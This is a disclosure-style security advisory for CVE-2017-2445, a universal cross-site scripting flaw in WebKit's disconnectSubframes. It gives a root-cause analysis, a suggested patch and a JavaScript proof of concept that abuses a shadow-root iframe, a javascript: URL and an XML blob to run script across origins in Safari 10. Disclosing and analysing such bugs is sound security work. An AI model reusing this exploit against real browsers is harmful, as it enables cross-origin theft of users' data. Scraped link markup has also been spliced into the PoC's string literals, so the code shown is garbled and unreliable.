Apple WebKit: UXSS via disconnectSubframes 

CVE-2017-2445


When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).

Here is a snippet of |disconnectSubframes|.

void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)
{
    ...
    Vector<Ref<HTMLFrameOwnerElement>> frameOwners;

    if (policy == RootAndDescendants) {
        if (is<HTMLFrameOwnerElement>(root))
            frameOwners.append(downcast<HTMLFrameOwnerElement>(root));
    }

    collectFrameOwners(frameOwners, root);

    // Must disable frame loading in the subtree so an unload handler cannot
    // insert more frames and create loaded frames in detached subtrees.
    SubframeLoadingDisabler disabler(root);

    bool isFirst = true;
    for (auto& owner : frameOwners) {
        // Don't need to traverse up the tree for the first owner since no
        // script could have moved it.
        if (isFirst || root.containsIncludingShadowDOM(&owner.get()))
            owner.get().disconnectContentFrame();
        isFirst = false;
    }
}

The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.

It should be like:

    ...
    collectFrameOwners(frameOwners, root);

    if (is<Element>(root)) {
        Element& element = downcast<Element>(root);
        if (ShadowRoot* shadowRoot = element.shadowRoot())
            collectFrameOwners(frameOwners, *shadowRoot);
    }
    ...


PoC:
var d = document.body.appendChild(document.createElement("div"));
var s = d.attachShadow({mode: "open"});

var f = s.appendChild(document.createElement("iframe"));

f.onload = () => {
    f.onload = null;

    f.src = "javascript:alert(location)";

    var xml = `
<svg xmlns="<a href="http://www.w3.org/2000/svg" title="" class="" rel="nofollow">http://www.w3.org/2000/svg</a>">
<script>
document.documentElement.appendChild(parent.d);

</sc` + `ript>
<element a="1" a="2" />
</svg>`;

    var v = document.body.appendChild(document.createElement("iframe"));
    v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));
};

f.src = "<a href="https://abc.xyz/";" title="" class="" rel="nofollow">https://abc.xyz/";</a>

Tested on Safari 10.0.2(12602.3.12.0.1)
